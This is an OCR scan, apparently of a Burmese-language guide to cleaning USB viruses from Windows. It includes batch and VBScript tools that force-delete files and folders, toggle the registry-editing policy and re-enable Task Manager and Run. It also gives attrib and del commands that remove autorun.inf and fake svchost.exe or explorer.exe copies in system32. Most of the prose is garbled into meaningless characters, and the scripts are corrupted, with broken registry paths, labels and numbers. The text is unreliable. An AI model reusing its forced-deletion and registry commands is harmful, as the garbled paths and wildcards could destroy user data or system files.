cg§r.um¢qa¢§lqmiz‘} mrmden elete)

ECHO YOUR COMMAND FINISH.

‘DEL

IF NOT EXIST %M% GOTO :drivedestroyERROR

attrib -s -h -r %M%

del /f /q %M%

IF NOT EXIST %M% GOTO :SHREDCOMP

RD /S %M%

‘SHREDCOMP

COLOR 1A

echo MyBox = MsgBox("File and Folder has been deleted. File and Folder deleted this
way will never go at the recycle bin.", 6000, "Golden Gate Security(Well Delete)")
=>drivedestroy.vbs

start /w drivedestroy.vbs

del /f /q drivedestroy.vbs

GOTO :Destroy

:drivedestroyERROR

COLOR 4E

echo MyBox = MsgBox("The File and Folder you type doesn't exist and match in the
directory.”, 6000, "Golden Gate Security( Well Delete)")

>folderatt.vbs

start /w folderatt.vbs
del /f /q folderatt.vbs
GOTO :Destroy

w3y Program o3 Notepad goseo:ad:§ad[B:0pms] Golden DELbat [s¢ cgepondayn
8éiqulecdn eovoday oBcniqeomeony gé:décopiagéicnnioy Folder oo File
gps1 Folder gpiadar qo3§EulonuSn mfEaiegeponds Location odagoieepad(sé:efg@coly
ooucdoguy USB Drive :opéig Virus File, Folder 03 gqjodconudalagc USB Drive
wogé:op:upeopdBie Golden DELbat mcodgdgqiod8d géojiqoledn glifepeqepy Virus
File, Folder o aoago3§Eonudadornesgol § u
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we Golden DEL.bat File foorésencgéfmpolocdn essodoy Golden DEL.bat
copda&iaonioy wopdiplamaginieny syaulendn gadoonicon: sypodoonicon: 60,0920 1
godcdmslaops: epdaoémmmuloonivlee god§dlonuda

. GOLDEN GATE SECURITY (Well Delete)

GOLDEN GATE SECURITY <(Well Delete)
DRIVE DESTROY

Easy Delete all Virus and Mo Deleted File.

Uolume in drive F is DATA DISK
Uolume Serial Number is 4871-87EB

Directory of F:\UIRUS Book\Softeware“Control Script

[.1 s | Contel System.bat
Golden DEL.bat Regcontrol.vhs
4 File(s) 3,753 bytes

2 Dirds) 23,.492,001,792 bytes free

PRESS THE TAB KEY, TO SELECT DELETE DIHEGTI.'IH
IF YOUR SELECT IS CONFIRM. PRESS THE ENTER KEY

DESTROY TO - _

Bl ¢oa} 3 [ecegqod wsl DESTROY TO ﬁiv)@ cep r;ﬂ'.qlus ko? Tab Key o
§8ogmquledn sopdagarcdespodfodegodadagic Shift+Tab[s¢[o§ spod§Eulorudu evocday
godedoi§édampoiogé Enter Key aslade§adols

PRESS THE TAB KEY,. TO @
IF YOUR SELECT IS CONF]

DESTROY TO - LOUE.exe

SURE DELETED, YOU SELECT DIRECTORYCY/N>?

2ooa30l¢803a8, Sure - [Bé:emc0mc§ cuicimsloygodcdogé N et
t.ﬂrﬁn?o'}mﬂ Y $5c$n5-:.ﬂ "
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Registry Control Script Program c3aepeogé:
wg Programongorp Virus File sopud 0300050} .vbs Fileog80923:8: mogjifo; Reg-

istry Control Script prgram & 564 oS:con:0000 wqc:ad: Program Code coy}
mwa)sfojoontolonudn wog Program coomr Seript Code 6ogenjiconivlogan Programming Lan-
guage Byp:geoa3:e4(30 Program Codesoya 23933382 .vbs Seriptondgu§oBigededencln

Option Explicit

Dim WSHShell, rr, r2, MyBox, val, val2, ttl, toggle
Dim golden, itemtype

On Error Resume Next

Set WSHShell = WSeript.CreateObject("WScript.Shell")
val = "HKCU\Software\Microsoft\ Windows\Current Version\Policies\System\ Disable-
RegistryTools"

val2 = "HK LM\Software\Microsoft\ Windows\Current Version\Policies\System\ Disable-
RegistryTools"

itemtype = "REG_DWORD"

golden = "Registry Editing Tools are now "

ttl = "Golden Script (Registry)"

'reads the registry key value.

rr = WSHShell.RegRead (val)

rr2 = WSHShell.RegRead (val2)

toggle=1

If (rr=1 or rr2=1) Then toggle=0

If toggle = | Then

WSHShell.RegWrite val, 1, itemtype
WSHShell.RegWrite val2, |, itemtype

Mybox = MsgBox(golden & "disabled.”, 4096, ul)

Else

WSHShell.RegDelete val

WSHShell.RegDelete val2

Mybox = MsgBox(golden & "enabled.”, 4096, ttl)

End If
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08 605 0o4j0S 4292665003 Seript Code cogof Notepad gocq:200:(B:

Regcontrol.vbs 3§53 8:20p5:quleadn $onésleor [Biodapssepyadsiooni§éalonads File
Location 205905 coniomeulogin [BiododesapyrconBimeodsdgioi§ogscgadons,
samdendgldenncd Command Box orégeolcvavlcd§eud
vaoemdslaySesondqdys Registry o3 Disable cpdcdadfsc:vln Restart [cégoep
sl Bad§admaadeqpadolordn Disable cdeonicymogadeslogagi emggd

Error Box coadoonul onude

Do you want Registry Editing the disable. ° Registry editing has been dsabled by your adminstrator,

[ =

Registry o3 Enable [6§copS(ojogSomaeni:[giefagc g€t Regeontrol.vbs colgo
meodadgiod§dBigdcdadorns, cmondoly Command Box oodeofB: Registry Enable
[6dg0i0la8Guadi

Registry o3 Enable/ Disable [GjopSasadigiaggr- 88mdqgomaionol:g [0aolfse:
woodased Virusefosnd [Jisai}le@rfreqcﬁma?@aigf:ﬁaac:anﬁ:@@&ﬂmuﬂ» onsloopd: Reg-
istry o8 Disable cgSconiagié Virus ofooé Registry 8058 contfgé:afomngudgcoloncdn

Registry vxomaqjlomd, @005l omesycn:olg
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Control System Script Program o%:egm@&
w3y Program meoxy Virus File 6ogodeapaio}md§msncy mg4qyomeeoriqpigp:
ém:@qu} Control System Effect ¢oan?[ a3 :aqemé r.qprﬁ 002103 38 a3 :n'i_:ﬁﬂgn'ﬁ

Gq:ma:mﬂ:mﬂu?u Registry Editor, Task Manager, Run Program, Show Folder Option

Gcgo%@iméqup?:géqﬁ @.;caTuEU} Secript Program m:f:?ﬁ@u?u"lmuﬁu
wg Program gco:0 Script Code 6oy Notepad goeaS:ulan Control System.bat
[6¢ BSroomqulevdn mgyomeegmogulonmogai:dolomads

@ECHO OFF

prompt SpSg

titte GOLDEN GATE SECURITY (Control System Effect)
COLOR EI

~CONTROL

CLS

ECHO.

ECHO.

ECHO GOLDEN GATE SECURITY
ECHO s Control System Effect

ECHO,

ECHO.

ECHO The Scirpt Program are System Control Service.
ECHO.

ECHO.

ECHO |. Registry Editor to Enable.

ECHO.

ECHO 2. Task Manager({Ctri+Ali+Del) to Enabel.
ECHO.

ECHO 3. Run Program to Enable.

ECHO.

ECHO 4. Show Folder Option (Control Panel).
ECHO.

ECHO Q. EXIT

ECHO.

ECHO.

ECHO.
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SET/Pval=  Your Choose and Tvpe one Key Number :
IF "%val%" ="1" GOTO -1

IF "%val%" =="2" GOTO -2

IF "%val?e" = "3" GOTO -3

IF "%val%" == "4" GOTO -4

IF/1 "%val%" = "Q" GOTO -Q

GOTO -CONTROL

=1

ECHO.

REG DELETE HKCWU\SOFTWAREWMICROSOFT"WINDOWS\WCURRENTVERSION\
POLICIES\EXPLORER /V DisableRegistryTools /f

ECHO.

PAUSE

GOTO :-«CONTROL

=2

ECHO.

REG DELETE HKCU'SOFTWAREWMICROSOFT\WINDOWS\CURRENTVERSION?
POLICIES\SYSTEM /V DisableTaskMgr /f

ECHO.

pause

GOTO :-ONTROL

=3

ECHO.

REG DELETE HKCUNSOFTWAREWMICROSOFT\WINDOWS\CURRENTVERSION)
POLICIES\EXPLORER. /V NoRun /f

pause

GOTO :-CONTROL

-4

ECHO.

REG DELETE HKCU\SOFTWAREWMICROSOFTWWINDOWS\CURRENTVERSION!
POLICIES\EXPLORER /V NoFolderOptions /f

ECHO.

pause

GOTO :~CONTROL
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=Q
ECHO.,
ECHO You want to Exit, Thank You,
ECHO.
PAUSE
EXIT

GOLDEN GATE SECURITY (Control System Effect)

GOLDEM GATE SECURITY
Control System Effect

The Scirpt Program are System Control Service.

1‘. Registry Editor to Enable.

2. Task Manager{Ctrl+Alt+Del? to Enabel.
3. Run Program to Enable.

4. Show Folder Option (Control Panel).
Q. EXIT

Your Choose and Type one Key Number :

w00 eqo:[§iog)d Control System.bat of mcodgbqo3§Sgg of mdeg)c
noodolmoié: qydewadged sao:geocia§eao Command Prompt [edmpé:af
g, qulc8geudi

000055908 copS qupcdenn p§:dqedad o1 i 91 ¢ BEBoFBOF0Ic0p3(B: Enter
salodcB03 2005 4¢ wSmeaypodofod agaiolcSgecdn Registry [Goégledore(odng Restan
[oégie0:§ §olonudn

wg Seript Program & m8mcpdesoniaiedys Virus soggagarespadeqicopdcdadop
Registry ®s0d 20§ 6m0059 cpdesond gjadecynfqodadodomln Script Key Word coR0}
segpgpecycafmaicdndol magudadimadiadeqaacniclorude
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AutoPlay e%aegmfp%ﬂmcﬁ

oovosaywess USB Port woondaodend Media Drive 39:03:03 %8 meogpad
3 FeChs, g N o3P

t;c-:mwﬁcwfcq:ﬁq B&:1qdconGadulonudn Virus File ::0305%-39"‘5 .?r.@ autorun.inf File

Gogulgic

8¢ wé':u;i;m:- ﬂnqﬂ:mngcmg; wopopafigool
owedigo Start => Run =>gpeditmsco3 §3(8: Enterasladeodogemnnduld Group

Policy System 3('_5 mukﬁéaugu

|I* Garatip Palicy
Far  Aon Ves e

- mgﬁﬁﬁ*

0 Lol Computes Poley
- ,. Comgeiter Cordigurston
) Sobtvewre Sttrgn

0¢ madmenypodeentigéaé:ndgiofoodoln $mfoé 88ezadcups:

= (2] Windows Settrigs Prewent a6 st Do Pegestry odsing fﬂ!‘ﬂ
= (2] Admersiratis Tomplaces | 1008 H“"’ Prifies
" ot
£ L’:;Tz:;:m Draplay Erveseiis [ T TP
I o 1) windowss Settings e e s Ehuogen
2 "_I Edrants attes Tenghat &1 A st Mol Wirckose 000 l"_':ﬂ;_ [y
. '.." Wi Componeris Bastrption r_'Iqu:- Fahugeiied
] et Merw) o Taskbw Ty 1P Wi 1mgietr s i ir Clirterres iewsarw ger Madagert
- ;I [ tix o] B pgedt arve ﬁl;)u-.‘! degiay e Certrg Sarted sicom woreen of DN LE ]
* 1] Control Fanel Corturs edergeed e bor Tea SO0 =
| TESSRL [rmemmeemsnes B -
e i e muphareg that § ety Code sorws; ln devcn by ™
- ':l- trevents the aition R s L ok
Ter g er e § P, L Gt Privert acuem [ the catrsdid promgs ht
el otrew Lok, use e Hof ardy Preveant acies to regery editng tacs bl
sirweed Winckoes. sopications" wettrg B oy allomes Ao acpic shar b
Enri v ppmcilend Weivudoms, aipile St L ]
T af? Aukociss bt
Peftrt M progr e Toom e baurched Prom Helpy |
D] sy C0M comporerida (hgcd
0 Mat Eﬂ'ﬁg.l‘ﬂd Wrwioem dotomats Lpdeles ]
T aff Wiredoes Lpdsfe devicn drvte saarch prams L
. . s
4 O Disabled = -]
- - - —
Dizable regedit from nunning sdently?

User configuration => Administrative Template == System e :poom o€ [aéeqeeaos

opScrodqpiady Turn off Autoplay o3meodadgyod&dycadadoln eulovsears Property joops
Enabled ofcgegjuSonn emondgnig Choose Box odg¢om Yesofeg:i8: Ok Button §edadols

el encn
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Command Prompt c3esspiejecpecsfgé:

onsodoymesd, DOS B0 gadgofglmepSiadelyn ooe[mndieons, §E:coomyj
[Béqrpooln Bondq§meon 5dema:fsddolovde wgopd: egudadeqeané :ajioly
4pigos, dempodaecondqéegoloud

Virus File 60303 60003 cg8:§Ecncln oqjg4:§ Conudn eoeqiagmeory Virus
0§ o3 o§ confgaog) 03§ yoroeoy! Media Drive coy®@oiad 0y Command Prompt
58 2eeqé:d0londdy meomnlisdienyodeont mFisgrevpadulo:n

on005gafudodé wpdnopd Virusesd 99 qpecgdicannday §54¢:880le8§wudn
w0560y ajigpintBaodcdadqéiboondlonudn mpiqormefsfuidmag:g§colonuds

5:§33ap Seomeqpep:

DOS cfugescdaj: Windows qpraéadagé cqepadgyeslop§colonud enuoday
ogéqorovr Windows XP3leewpod Windows 7 [goecSagoleovpn Startg Runogé emdof,
§dcopdBieslugdivlonudn

c4p0dndegapmaon Safe Mode yealug§éulomudu Windows oxodonad(ge: F8 Key
B85ca[aE:[6¢ Windows Advanced Options Menu culconopmsl Safe Mode With Command
Prompt o eepadag§Eoloudn goleapad(sc:ad 226§ 2§ 19308, PR B 02600:¢2§:9)
eqé:fosorln

ooedigoonsodagaSaiqepdes Drivecopmefmnd:{gdulonude Drive sogodentoday
805 con0pdmo3éimeicadfeseroln Vjwecmajigoy Floppy Drive BOgod ng@lcmcmm
Drive mepSc®fS A:, B: cocontolondd slefon¢ensodym A:, B: oRegooniadadol

Harddisk Drive 0§ Drive Partition § ¢:20p5 60Tg2p5(§: Drive Name cop
2089oScontolonad 2:8E:§E1c0megé C:, D, E: suln 3§ C: mesozclonedn €D, DVD
Drive cogonSaoniogé  Harddisk 6go0dgmepSsondcondeoicloadn mdslond CD, DVD
wopSeogurs Harddisk[oradespodeqonodulonadn Windowsooc(Sig Partition [0§ $¢:03 s
[@8crodulonudu sls§ DVD Drive oy F: S aodyodiadodclecds

odmsl USB Port gaodéordeoleny Drive soguon Fi G, H: c0p0030) 0§
[@8cnula8GeuSn sleanadaieornessodsy BoonifB:a0éulonudn

i e




Riqemepdysiagdemn: o)

USB Drive sscp&:e Virus chepagg&icadigs:

020052930305 USB Stick mulmoé USB Port grandaotenl Media Drive cogaden
Virus sogulconcd, gpegqéieot:§ofoinsl BogudadiapSicodicgs, oeepodglicodio]eudn

voedig> 0o00Saq0z4ugo»>0s AutoPlay vonndeamtapdaon:§edulonudn eogoign
( )eofmpdoln slgecpod AutoRun Killer Program 00p3B:c0nfeda0golonadn eqmepgn
copd 33&14pS:me0é §odfag sudgB:a0m:0ln

USB Pont 3¢ USB Stick i3 ondsoéc§adoli(poenmcsss  USB Memory Stick
o%aji[geoniolorul) AutoRun B83Bro00:fedcl, AutoPlay madecoli

Start => Run 03¢ cmd c§.c0p323¢:8: Enter Key csloSc§adoln Command Prompt
Program gé anolc8geods

C:\Document and Settings\user name>

o$eodfcoontoimogod Drive C: canadBR03§oSagorqs > eaody ed\ o oops(B:
ealasoln € of s[god:agoiolecsSn Document and Settings copiUser name
Gtgfl%@cac@nsmﬂl mﬁq?cﬁm&ﬂ&ﬂn ed\ :r?(um':: Drive Lehcrrﬁo%rﬁ%rﬁaaa:mu'h
cond§eneqraympdygersye Harddisk o} Partition 6c0:3&: §&:amtomaloand C:, D B, F: ¢
DVD Drive ooéad:cl§ o[ G: 008qqoa:[[g8c§, USB Media Drive cogof H:
moB:0od¢adalerude

C:>dir h: /a

S §adcdndols mozd:§ogiecyat goSaoni egpodoonicueniecy [BEqoleuds
3lonconp /acmpdleddlonuds B qeveuduynd§Eanilogi meoddepiqpiu E:038E qpia
Bogudommegmicag 425:4]:9 805 conrulanudu Baecdgn WM S MBREPMEOR
System, Hidden, ReadOnly gp:cydoonifgézol

Systemmf3é205¢cSconaimogad og g1 yodgSefologm Hidden cpSooniohmagad
[6éogéigofecgulog:n ReadOnly 0odgcdednieon [GEcgieqodolonm

sleogddfBioSgarn Virus File ojgod§cgooln [B4lsodqead Key Word meonp At-
tribute [38¢]ouSs Command Key mofon atirib [§6c§, $c3§odcdadoln

C:\=attrib h:\*.* s -r -h
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C:\=attrib h:\*.inf -s -r -h

C:\=attrib h:\*.exe s -r-h

% (neo ﬁ*aqjagﬁ:s,:qlfgéc}éua@m:c@:cﬁc@xﬁngamqu -5 -r -h oo System,
Hidden, ReadOnl: q.cgr:RI] se3cdomdla *infoneonoog AutoRun §égmroffaaodeeomoli
*CXEERCOR DR & g ene§laogdafondiadonuln envodagmcses, eellmpioims]
mgoea f sigias gudsogdoopd: *. aguadenfgpdge: copi§ulonudu *.* vy Externel
C ummdmlgxcnpm :Jsuum:r:rﬁ :dBoReosl;nioda]Feeoznd 2Binggelucn:d §onod
olonudu

sl orucdgmuS§Eadqodgacdegi§col B godqeod Command meonp Del
BéolonuSu moic:c}EB:mogaag: Command gpiofeedGaogc-

C:\Document and Settings\Username> cd\
C:\>

C:>dir h: fa
autoruninf
virusname.exe

other file and Folder

C:=artrib h:\%.* -s -r -h

C:\>del h:\autorun.inf

C:\=del h:\wirusname.exe

Seconndadogéensadaadqs:§EBoodalonudn dBoonqyamen gedodmsl *.*
wajigoln Bard:adygodgEonfedegoiamegnd o003y Mopodm[Enmen:§Egp:u]
godeSoSodmadclagnigacli esuodsymesd, evodeagadoonBifecgsfeqoinsl
C:\>attrib h:\*.* -h né:cwé@imé@écoa%&ﬂ@u

bt mau
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\ Hrrla-ler { =+ Hi -I-H

Virus ¢ n’lm s ooz Siceciies
wew:dodddsncopScoqs Virus File Type

G2l ’E asoloaudin

"

B 1= -« c 0O
clm-,w,,. 0 .:,m Virus File Type aogjioocorn .exe,

File ;;{I.u.ﬂ rﬂ-'_; lenod

o GAWINDOWS\system32\cmd. exe

4
il

il
]

40 4j:03 B¢ G B vmGey

|1IIICG"}.E&H_:-.|-:_":-._1:'. g Virus
L8 L J

= B illrll_ e
264 bytez
3 e
;j = = oy
N ===
2 neod [ eUE
Serial hllrlh1 15 CAZB-8EAB
Di:fm:l.rr.rl_,u of hx
D === J,,{.x Jep 5.—c;'gr"J * exe File hf‘”"’*"n:r}‘* mE Eu]a%m Key 1'-"-12311.‘.[“;‘“‘1'.‘-‘? ulonud
3‘]@'.'?:*!'. Virus :h_ ':Q.r(..l.? ieop Qoo
—~CDEC
| === attribead:0 gyodc -:»:.,c.lrr:nc.r Viruseonumsluciée ,._.&ﬂ%m:o m optn
2 === Viruscopey attrib .gl_q;rr;-g.: s:|.i»|u<_-'a: c *{?mmﬁu i
€L MO 4, me . £a . . Qe
¢ === attribogo(0:0g Virus|soo) '.i:wn;u:?m:mmqw;rv;_ del Command @1@E:F$ﬂ50‘)‘?i_}] i
IR - - LI & -
3 === ﬁ:ﬂfﬁ LXe :.98 un t_'x, .!.!.me:-:a ..;.;::i 'Eﬁ‘f i-vi‘*?-ﬂ.';f'”ér‘:ﬁ?ﬂmgm HE:PR'CQ»
L
Bolooudu

o
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:;ql‘meﬁnﬁf}?mc‘ﬁé:ué pif Virus File Type copodgjodagodomal 000527 268 S,

USB Disk Security Program mé aaé:m:@:ﬁéomé c:g Program ?mogtﬁmcgﬂé:o;_ws
sgotoloeds slevedd copd: Manual gc:og oSepsind § (036 re0 ooe(mod

WY Be:8030ymy ﬂEt@ﬁcﬁqm:ﬂ "

+ CAWINDOWS\system 3 2\cmd. exe

5 === (A :sz:c@::;ogn% * pif File qu%gn%m:mé:@u'!aﬁoﬁ Key Word ry?:;}:ﬂmufy..
alefodoé Virus §Ead:90dreogqomol

| === attribeaj:d godoroelorg Virus cogurefec §Eeamngadoonied efioy:odfodgulenuds
2 === Virus GUBF’% utlrih%_aun%$éq$@5mcr(‘$ﬁgmﬂu

G mmm allribc\gf:@:@% Virus @50:} ‘.pil"r;cgm:c@:(ﬁ%rﬁ@_ del Command qf._gé:csn%cr*nu"
q === §oog *.pif coglo§foolad, /a 3[0§0dcsotomuln morcdrgmd§caimagad wfog:0d,

bt e
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Virus File acz§a¢orcdeieddeney:

0200529034 qoee303 Virus ;odgfirodeepadegBoomin o} fodeqapaiaBal
0000593643, Begudomqeddcencli alefomndoopd: Vinscogumoydfesddcep File Lo-
cation 036338 825:¢:44, mompuSconiolonuSu mg], Virus coguneosodayedagéige
ayodepadfiesciond: [gonodulorudi pows- godgoenfgcopéiy My Computer of Icon
GdefCodicdadomyfils ondaf Virus copfodeor qod§addionpSanom§ migormaye:
ofeepadB: Bemoeles ndyomadondagmccdulorudn $el¢fimeor [sd30lercSn
mompuSeqosd choefod msyjomecgearndasfsd§iorol

Virus cogummpéggomaagéoéempadBadony, sgaeqpndegddcomodoy File Loca-
tion cogmeoryy C:\Windows Folder, C:\Windows\System32 Folder, C:\Document and

Seuings‘umngcf :n:ﬁl::zaaé' (User Account Name)\Start Menu'\Program'Startup

$c§egpecggrmegypicl coude

umé:nqxgm 3c$¢q.cpq{13?:) Virus File qmoﬁmuﬁaﬁmﬂ Virus eeageopm
o3 eqepa3agaeBail: coodmdegepaieldniog dlaBiuudi gdoprogpmbegcifsdeson
oldn slefodnenucdqymess, geeconiulg wypiadi(cond) Virus cogesonodonod
cfonfoorcle

RS0l Brdcdgpapadsdonmaiania@fgulecd enscdaymesd, waodeud(gll
cqsosingofenaiinch oododBeionndSorchn Slosuet cosdiplfforsmon
ocguSmulogis Bepigun wa3§§enyy, Bepdedwdodeuimnasfmuloudn pows-
explorer.exe $§q¢ explorcrexe, exploer.exe J[B:§:006mncuianie0) 20r6s0060534p:
udcB0BGBgrcdn ooeqioymcsd, Scfcpfioradté e medimmys MiyyoBRC:y)
wee:ol §Egpadqlfosqonul eocdapqp: §Emaiaifelorns, a§:68E§magadol

3lefo3é Viruseoyd,cgcddapad 8§ magsenidoncln cgadlepmenpdt mudcorny
macqqomé:yaﬁmu'lcg:u :nqé:a:'g: Qén*q:ﬁcqmoﬁ:ﬂmtﬁu ndesepns a5 agoied,
Boddaogl BEriordesapefodcopsadopSuloudu anuodogmcyes, §aoy Virus Filesopa}
ondalopS:gqad§yqeacls
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Happy Birthday Virus e$c33ep

26055y Happy Birthday Virus o3{ooigieomé:{osmigreadn slyeryodofudadieoy (3
grouScodanudn xeepadcgBooar veguSeqgeaguSoladypr miqye0} Restart e
Ae8§eaSu Restart godos8cooin ojio Windows [G§oradeconcorpolog:s G20 810D
cud[03003 Windows mogodmeqoloy System File atldr gjodopoScdadedoln gé: ntidr
o» Windows §ep Drive (C:) sanadgofegolonabn 6[6€qemné Hidden ogSaonivlonodn

Happy Birthday Viruso€ cepadeqBadogé Restartgi§:cpams] Restartogeao:on Com-
mand Prompt rﬁcéoﬁn&ﬂ n

alyeupod Restart 5130383 [G§nodecncyms] gaé: Windows 83 B majigom
Repair capSeoleoSn 3lgevpodeopd: BB qordcgigmiaoleads opiogohmes| ntldr,
NTDETECT.COM 383&cy:a30p:0paulecdn axseqecay (56§08, Control Paneldg Folder
Option 03¢&(B: Hidden File o} Show File cp8§c§olonubs (003[GGE eoapSyprogdanyanl)
Brogé SafeMode [3§ofempad§éagé 8aomoé:olorudn

0030l Command Prompt ¢9Siquod Key Wordeogafde{pac]eudu nudesepeadiay:
320p0p0l0n vaoed:goamtqyomeor, Happy Birthday §.8583Eum explorerexe [s8 oS
Bomuln eoscdoqeop3aziagem o00j:c8E1aq00nioh Key Word oocdreogapoli

C:\Document and Settings\Username=>cd\ Enter Key

Ciedir e:\windows\system32\*.exe /a

godSconio) \*.exe 6030} leog quleuSi explorerexe olool BoS:(epS:qé: qple3es
odadolu explorer.exe cog oot

C:\attrib c:\windows\system32\explorer.exe -s-h-r

C\>del e:\windows\system32\explorer.exe

0560599 2003000:qgomMeon)  c\windows camadon explorer.exe ofgoreqnd8§.0lon
Virus 0§ aScSeadqadomscdadgéalonadu afudopéqmbal eadgjodomeoefsdsogcols
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One Miss Call Virus § 822042
Happy Birthday Virus mcq:m:nama vcoe Virus nﬁmaq&% qﬁmm@ﬁ One

Miss Call o§co85g0qadaulonudn Seamichiecoin Phone cozgangiopeomiag:ols

One Miss Call Virus meonpmad:ofoiBiemnéogodidolonddn sleveudad 29,0003
ogeeeogd, uf03098¢nd §a8SiqpaslaigdcGadaulBn

gEig,qmpeoiqmeopas: Task Manager, Winlogin, FolderOption gmo Folder
Feordgpigpicd Foldemame.exe m[3dmepdcuiommatagaradlosudn Application Program
G030} Virus cop§ menicdiegepuyonulonadi ([3000omdmg 0R§yePu0BETd0
waematgndd, S:onpSeonulonuds cpdesond gjodmagodeczaoafd: Windows 8o5agotclonuda

One Miss Call Virus §,85é§Emupdeogmeory svehost.exe, direxe, del.exe copd
[BdclonuSu §eguudfcagepon C:iwindows\system32\ restore Folder, C:\windows\system32 Folder

copeofudolonun qézcodiqual Key Word cogmeony-

C:\Document and Settings\Username>cd\ Enter Key

C:\>dir c:\windows\system32\restore\*.exe /a

godconioy \*.exe sopaiuleoy quleadn svehost.exe oleolgplmpdcdadol
C:\>attrib c:\windows\system32\restore\svchost.exe -s -h -r

C:>del e:\windows\system32\restore'svchost.exe

C:\>dir e:\windows\system32\*.exe /a

dir.exe, del.exe coguleolgp[mpdc§adoln olfolo-

C:\=attrib c:\windows\system32\dir.exe -5 -h -r

C:\=attrib c:\windows\system32\del.exe -s -h -r

C:\>del c:\windows\system32\dir.exe

C:\>del c:\windows\system32\del.exe

02605 39 ogm:q?om coyy c\windows\system32 Folder cmnat?o dir.exe, del.exe

caamﬂ ﬁu'] oq:aQ 00l
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One Miss Call Virus § s ¢>c3e0cdc30o0042
One Miss Call Virus § 8a¢§¢[gd03 svchost.exe maﬁwé:$$emqé:@§_c\$atﬁ
co&olorudn svehostexe§Eunn Windows ogdmcyad el §Enddéfsdequlonadn ego3
File Location meoo C:\Windows\System32 Folder caonodenfssulonudn odzogedadesol
€ = e L f\é Loy g E ® _{' c C cﬁl" e
GC16),0006800C §I0¢Y OV RO :saa?:qjo;uc;a}:cqjm:ﬂqp:?oﬁ $1q9)0
comorouls One Miss Call Virus ¢ svchost.exe meoxp C:iWindows\System32irestore Folder

can05¢o8c8070l1 dBcnrgeddulonadn gaiagardogic Windows e 8éeonuloy:m

swchost exé
Genen: Host Process for W
e ft Corpor at

One Miss Call Virus uvomgdyjiorraecaéiescpmgyo Foldersopad .exemfsdalunt:poocd
wfeo: Application Program cogoRcopSs POo10d164 U 06(00¢ ﬂoqgﬂézmé:qu@:mﬁu

sPegomend) Start=> Hﬁﬂrﬁ:h?ﬂ’}ﬁﬁqﬂﬂiﬁh * exe0d,cony rﬁé:ﬂﬁgézqﬁrw.ht Dheles
exe Fileaogofodseso:uly FileNameoond{gdeqoleor FileSizern 292 kb §orogqodcdolonudy
Manual Delete § 200 File Location EQO%E:DE{{](T;DQ’J:UT "

crjjé:e06moc Command Prompt ¢o en0sulwodE:codbodesoioln weleCeyaqos
§E468Emaeor System File coglsdolonudy weieyspey My fieaday)c Pegyedanod
c§odolu Command Key oogonp ~ C:i\>dir svehost.exe /wis

o CrAWINDOWS \system 32 omd. exe
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Virus §Beofemd,

0r00dyméyormayt: Vis §egBodongdcd§ienal gpegqcicociadadols
oo gEBE 08e0:8Eclonudn odeso:§eogecydeé Folder Option 03 godconiomeyay
[6E8E§ Show Hidden File and Folder 0§ S:gogé conolu

qPegdmen; Start=> Search ggpegqolocdn autorun.inf o3 c0p3 ag&:qp§ Crqgauli

:._.. :.'.‘.. . . -.'|'. H-‘-H"
i e

autorun. inf
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Command Prompt Key Command

Command Prompt o323:0)ms] caoodc]l Key Command gpiodzeai:(gi§colondbn
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Key qpiodesl0p§ears Command meovp C:\>help [éoloouds

0§ § 6o, DOS Command eac5(s8308, caoadl Keysopadagdqyomagéionicay
BeoSyprgpionodayéimoloads Key Command sopmaps:§ wademqpiolosad
wemslgrcory DOS Bewioneco:m(gdas Command Prompt a3eo:a:gey, Key Command
326m0¢ :m:cagmé :r;qpfﬁain:rrﬁ ol [§I

2200553603644, DOS Command eogo} W3udedmad(gdeopdmmpéiodgul(Gn
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For more information on a specific command

ASSOC Displays or modifies file extension associations.

AT Schedules commands and programs 1o run on a computer.
ATTRIB Displays or changes file attributes.

BREAK Sets or clears extended CTRL+C checking.

CACLS Displays or modifies access control lists (ACLs) of files.
CALL Calls one batch program from another.

CD Displays the name of or changes the current directory.
CHCP Displays or sets the active code page number.

CHDIR Displays the name of or changes the current directory.

CHKDSK Checks a disk and displays a status report.
CHKNTFS  Displays or modifies the checking of disk at boot time.
CLS Clears the screen.

CMD Starts a new instance of the Windows command interpreter.
COLOR Sets the default console foreground and background colors.
COMP Compares the contents of two files or sets of files.

COMPACT  Displays or alters the compression of files on NTFS partitions.
CONVERT  Converts FAT volumes to NTFS. You cannot convert the current drive.

COPY Copies one or more files to another location.

DATE Displays or sets the date.

DEL Deletes one or more files.

DIR Displays a list of files and subdirectories in a directory.
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DISKCOMP Compares the contents of two floppy disks.

DISKCOPY  Copies the contents of one floppy disk to another.

DOSKEY Edits command lines, recalls Windows commands, and creates macros.
ECHO Displays messages, or turns command echoing on or off.

ENDLOCAL Ends localization of environment changes in a batch file.

ERASE Deletes one or more files.

EXIT Quits the CMD EXE program {(command interpreter).

FC Compares two files or sets of files,and displays the differences between
them.

FIND Searches for a text string in a file or files.

FINDSTR  Searches for strings in files.

FOR Runs a specified command for each file in a set of files.

FORMAT Formats a disk for use with Windows.

FTYPE Displays or modifies file types used in file extension associations.

GOTO Directs the Windows command interpreter to a labeled line in a
batch program.

GRAFTABL Enables Windows to display an extended character set in graphics mode.

HELP Provides Help information for Windows commands.

IF Performs conditional processing in batch programs.

LABEL Creates, changes, or deletes the volume label of a disk.

MD Creates a directory.

MKDIR Creates a directory.

MODE Configures a system device.

MORE Displays output one screen at a ime.

MOVE Moves one or more files from one directory to another directory.

PATH Displays or sets a search path for executable files.

PAUSE Suspends processing of a batch file and displays a message.

POPD Restores the previous value of the current directory saved by PUSHD.

PRINT Prints a text file.

PROMPT  Changes the Windows command prompt.

PUSHD Saves the current directory then changes it.

RD Removes a directory.

RECOVER  Recovers readable information from a bad or defective disk.

REM Records comments (remarks) in batch files or CONFIGSYS.

REN Renames a file or files.

RENAME  Renames a file or files.

REPLACE  Replaces files,

RMDIR Removes a directory.

. men
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SET Displays, sets, or removes Windows environment variables.
SETLOCAL Begins localization of environment changes in a batch file.
SHIFT Shifts the position of replaceable parameters in batch files.
SORT Sorts input.
START Starts a separate window to run a specified program or command.
SUBST Associates a path with a drive letter.
TIME Displays or sets the system time.
TITLE Sets the window title for a CMD.EXE session.
TREE Graphically displays the directory structure of a drive or path.
TYPE Displays the contents of a text file.
VER Displays the Windows version.
VERIFY Tells Windows whether to verify that your files are written

correctly to a disk.

VOL Displays a disk volume label and serial number.
XCOPY Copies files and directory trees.
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